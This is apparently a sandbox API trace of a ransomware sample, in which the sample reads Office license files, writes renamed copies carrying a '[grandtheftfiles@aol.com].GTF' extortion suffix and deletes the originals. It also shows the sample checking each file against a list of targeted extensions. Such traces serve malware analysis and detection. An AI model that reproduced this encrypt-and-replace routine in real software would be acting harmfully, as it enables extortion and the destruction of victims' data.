	[0172.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0172.170] GetLastError () returned 0x0
	[0172.170] ReadFile (in: hFile=0x530, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x564d, lpOverlapped=0x0) returned 1
	[0172.179] WriteFile (in: hFile=0x45c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0172.180] ReadFile (in: hFile=0x530, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.180] WriteFile (in: hFile=0x45c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x116, lpOverlapped=0x0) returned 1
	[0172.180] SetEndOfFile (hFile=0x45c) returned 1
	[0172.180] CloseHandle (hObject=0x45c) returned 1
	[0172.180] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.180] SetEndOfFile (hFile=0x530) returned 1
	[0172.184] CloseHandle (hObject=0x530) returned 1
	[0172.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1
	[0172.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.185] lstrlenW (lpString=".doc") returned 4
	[0172.185] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.185] lstrlenW (lpString=".docx") returned 5
	[0172.185] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.185] lstrlenW (lpString=".pdf") returned 4
	[0172.507] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.507] lstrlenW (lpString=".xls") returned 4
	[0172.507] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.507] lstrlenW (lpString=".xlsx") returned 5
	[0172.524] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.524] lstrlenW (lpString=".ppt") returned 4
	[0172.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.524] lstrlenW (lpString=".zip") returned 4
	[0172.526] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.526] lstrlenW (lpString=".rar") returned 4
	[0172.526] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.530] lstrlenW (lpString=".bz2") returned 4
	[0172.530] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.532] lstrlenW (lpString=".7z") returned 3
	[0172.532] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.532] lstrlenW (lpString=".dbf") returned 4
	[0172.532] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.533] lstrlenW (lpString=".1cd") returned 4
	[0172.533] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.534] lstrlenW (lpString=".jpg") returned 4
	[0172.534] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.535] lstrlenW (lpString=".doc") returned 4
	[0172.535] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.535] lstrlenW (lpString=".docx") returned 5
	[0172.535] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.535] lstrlenW (lpString=".pdf") returned 4
	[0172.535] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.535] lstrlenW (lpString=".xls") returned 4
	[0172.535] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.545] lstrlenW (lpString=".xlsx") returned 5
	[0172.545] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.545] lstrlenW (lpString=".ppt") returned 4
	[0172.545] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.545] lstrlenW (lpString=".zip") returned 4
	[0172.545] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.545] lstrlenW (lpString=".rar") returned 4
	[0172.545] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.545] lstrlenW (lpString=".bz2") returned 4
	[0172.545] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.545] lstrlenW (lpString=".7z") returned 3
	[0172.545] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.546] lstrlenW (lpString=".dbf") returned 4
	[0172.546] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.546] lstrlenW (lpString=".1cd") returned 4
	[0172.546] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83
	[0172.546] lstrlenW (lpString=".jpg") returned 4
	[0172.546] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.546] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0172.546] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34
	[0172.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0172.547] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=22094) returned 1
	[0172.547] CloseHandle (hObject=0x428) returned 1
	[0172.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220
	[0172.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0172.993] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.993] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0173.183] GetLastError () returned 0x0
	[0173.184] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x564e, lpOverlapped=0x0) returned 1
	[0173.186] WriteFile (in: hFile=0x428, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0173.187] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.188] WriteFile (in: hFile=0x428, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x118, lpOverlapped=0x0) returned 1
	[0173.188] SetEndOfFile (hFile=0x428) returned 1
	[0173.188] CloseHandle (hObject=0x428) returned 1
	[0173.188] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.188] SetEndOfFile (hFile=0x528) returned 1
	[0173.191] CloseHandle (hObject=0x528) returned 1
	[0173.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1
	[0173.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.193] lstrlenW (lpString=".doc") returned 4
	[0173.193] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.193] lstrlenW (lpString=".docx") returned 5
	[0173.193] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.193] lstrlenW (lpString=".pdf") returned 4
	[0173.193] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.194] lstrlenW (lpString=".xls") returned 4
	[0173.194] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.194] lstrlenW (lpString=".xlsx") returned 5
	[0173.194] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.194] lstrlenW (lpString=".ppt") returned 4
	[0173.194] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.194] lstrlenW (lpString=".zip") returned 4
	[0173.194] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.194] lstrlenW (lpString=".rar") returned 4
	[0173.194] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.194] lstrlenW (lpString=".bz2") returned 4
	[0173.194] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.194] lstrlenW (lpString=".7z") returned 3
	[0173.194] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.194] lstrlenW (lpString=".dbf") returned 4
	[0173.194] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.194] lstrlenW (lpString=".1cd") returned 4
	[0173.194] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.194] lstrlenW (lpString=".jpg") returned 4
	[0173.194] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.195] lstrlenW (lpString=".doc") returned 4
	[0173.195] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.195] lstrlenW (lpString=".docx") returned 5
	[0173.195] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.195] lstrlenW (lpString=".pdf") returned 4
	[0173.195] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.195] lstrlenW (lpString=".xls") returned 4
	[0173.195] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.195] lstrlenW (lpString=".xlsx") returned 5
	[0173.195] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.195] lstrlenW (lpString=".ppt") returned 4
	[0173.195] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.195] lstrlenW (lpString=".zip") returned 4
	[0173.195] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.195] lstrlenW (lpString=".rar") returned 4
	[0173.195] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.195] lstrlenW (lpString=".bz2") returned 4
	[0173.195] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.195] lstrlenW (lpString=".7z") returned 3
	[0173.195] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.195] lstrlenW (lpString=".dbf") returned 4
	[0173.195] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.195] lstrlenW (lpString=".1cd") returned 4
	[0173.195] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0173.195] lstrlenW (lpString=".jpg") returned 4
	[0173.195] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.196] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.196] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 34
	[0173.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0173.197] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=22094) returned 1
	[0173.197] CloseHandle (hObject=0x528) returned 1
	[0173.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220
	[0173.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0173.197] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.197] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0173.198] GetLastError () returned 0x0
	[0173.198] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x564e, lpOverlapped=0x0) returned 1
	[0173.201] WriteFile (in: hFile=0x428, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0173.202] ReadFile (in: hFile=0x528, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.202] WriteFile (in: hFile=0x428, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x118, lpOverlapped=0x0) returned 1
	[0173.202] SetEndOfFile (hFile=0x428) returned 1
	[0173.203] CloseHandle (hObject=0x428) returned 1
	[0173.203] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.203] SetEndOfFile (hFile=0x528) returned 1
	[0173.206] CloseHandle (hObject=0x528) returned 1
	[0173.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1
	[0173.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.208] lstrlenW (lpString=".doc") returned 4
	[0173.208] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString=".docx") returned 5
	[0173.208] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.208] lstrlenW (lpString=".pdf") returned 4
	[0173.208] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString=".xls") returned 4
	[0173.208] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.208] lstrlenW (lpString=".xlsx") returned 5
	[0173.208] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.209] lstrlenW (lpString=".ppt") returned 4
	[0173.209] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.209] lstrlenW (lpString=".zip") returned 4
	[0173.209] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".rar") returned 4
	[0173.209] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".bz2") returned 4
	[0173.209] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".7z") returned 3
	[0173.209] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.209] lstrlenW (lpString=".dbf") returned 4
	[0173.209] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.209] lstrlenW (lpString=".1cd") returned 4
	[0173.209] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.209] lstrlenW (lpString=".jpg") returned 4
	[0173.209] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.209] lstrlenW (lpString=".doc") returned 4
	[0173.209] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".docx") returned 5
	[0173.209] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.209] lstrlenW (lpString=".pdf") returned 4
	[0173.209] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".xls") returned 4
	[0173.209] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.209] lstrlenW (lpString=".xlsx") returned 5
	[0173.209] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.210] lstrlenW (lpString=".ppt") returned 4
	[0173.210] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.210] lstrlenW (lpString=".zip") returned 4
	[0173.210] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.210] lstrlenW (lpString=".rar") returned 4
	[0173.210] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.210] lstrlenW (lpString=".bz2") returned 4
	[0173.210] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.210] lstrlenW (lpString=".7z") returned 3
	[0173.210] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.210] lstrlenW (lpString=".dbf") returned 4
	[0173.210] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.210] lstrlenW (lpString=".1cd") returned 4
	[0173.210] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0173.210] lstrlenW (lpString=".jpg") returned 4
	[0173.210] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.210] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.210] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 37
